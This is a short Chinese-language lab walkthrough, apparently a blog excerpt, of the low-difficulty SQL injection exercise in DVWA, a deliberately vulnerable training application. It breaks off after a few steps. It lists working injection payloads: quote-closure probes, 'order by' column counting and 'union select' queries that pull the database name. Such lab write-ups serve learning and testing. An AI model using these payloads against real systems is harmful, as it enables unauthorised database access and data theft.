DVWA SQL Injection

low 輸入1，查詢成功，存在注入，直接反手一個 1\ 。爆出錯誤，推出查詢語句爲單引號閉合 開始進行注入，直接查詢字段數 1’ order by 3 # ，回顯不正常，修改字段數 1’ order by 2 #，回顯正常 找到了字段數以後，直接聯合查詢搞起 1’ union select 1,2 #，查詢成功，獲取數據庫 1’ union select 1,database() #,查詢成功數據

>>阅读原文<<